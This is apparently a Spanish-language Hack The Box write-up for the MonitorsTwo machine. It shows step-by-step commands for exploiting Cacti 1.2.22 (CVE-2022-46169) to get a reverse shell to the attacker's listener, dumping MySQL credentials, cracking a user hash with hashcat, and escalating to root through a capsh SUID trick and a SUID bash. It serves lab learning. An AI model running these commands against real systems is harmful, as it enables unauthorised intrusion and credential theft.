MonitorsTwo - Machines - Hack The Box

1. Enumeración

Inicialmos con un escaneo de servicios y versiones hacia el objetivo.

• nmap -sC -sV 10.10.11.211

El escaneo inicial de nmap muestra que hay dos puertos abiertos en la máquina

• HTTP (80)

• SSH (22)

Procedemos a navegar hacia el servicio web por el puerto 80.

Se identifica un servicio web para monitoreo llamado CACTI en su versión 1.2.22.

2. Explotación

Se verificó si la versión 1.2.22 de Cacti la cual es vulnerable y se encontró un exploit (CVE-2022-46169).

• https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22.git

Este exploit permite la ejecución remota de código no autenticado en la máquina.

Procedemos a copiar el repositorio a nuestra máquina.

• git clone https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22.git

Nos dirigimos donde se encuentra nuestro exploit escrito en Python.

En las especificaciones de uso, vemos que se necesita invocar el exploit, como parámetro pasamos -u es la URL del target, –LHOST nuestra IP y –LPORT el puerto de escucha de nuestra máquina.

Adicionalmente debemos estar a la escucha con NETCAT del puerto que asignamos anteriormente

• nc -nlvp 443

Ejecutamos el explloit

• python3 CVE-2022-46169.py -u http://IP_TARGET –LHOST=MY_IP –LPORT=443

Vemos como obtenemos una Shell de la maquina victima como usuario www-data.

Miramos los permisos SUID.

• ls -la

Encontrado entrypoint.sh en el directorio raíz.

Procedemos a leer el archivo.

• cat /entrypoint.sh

Encontramos el nombre de usuario y la contraseña para MySQL.

Intentamos autenticarnos en MYSQL para comenzar a revisar el contenido de la BD.

• mysql –host=db –user=root –password=root cacti -e “show table

Observamos la tabla user_auth.

• user_auth puede tener credenciales.

Intentamos leer el contenido de la tabla.

• mysql –host=db –user=root –password=root cacti -e “select * from user_auth

Se encontró una contraseña (hash) para el usuario Marcus.

Guardamos nuestro hash e intentar crakearlo con HASHCAT.

• hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

Iniciamos sesión por SSH con las credenciales obtenidas y capturamos nuestra primera bandera como usuario estandar.

3. Escalación de Privilegios.

Descargamos Linpeas en la maquina victima para intentar encontrar una vía de explotación.

Otorgamos permisos de ejecución.

Encontramos estas dos rutas marcadas de color rojo. Nos dirigimos a la ruta /var/mail e intentamos leer el archivo marcus.

Encontramos que es un correo donde hablan de unas vulnerabilidades que encontraron. Una de ellas es una vulnerabilidad de Docker.

Debemos antes, encontrar la ruta de los contenedores mediante el comando findmnt.

En el contenedor debemos escalar privilegios.

Miramos los permisos SUID y encontramos el comando capsh.

Buscamos en GTFOBins y conseguimos root en el contenedor.

• https://gtfobins.github.io/gtfobins/capsh/

En el contenedor, como root debemos poner la bash con permisos SUID.

En la máquina principal ejecutamos la bash del contenedor para convertirnos en root.

• Ejecute “./bash -p” para obtener root en la máquina.

Posteriormente obtenemos nuestra flag de root.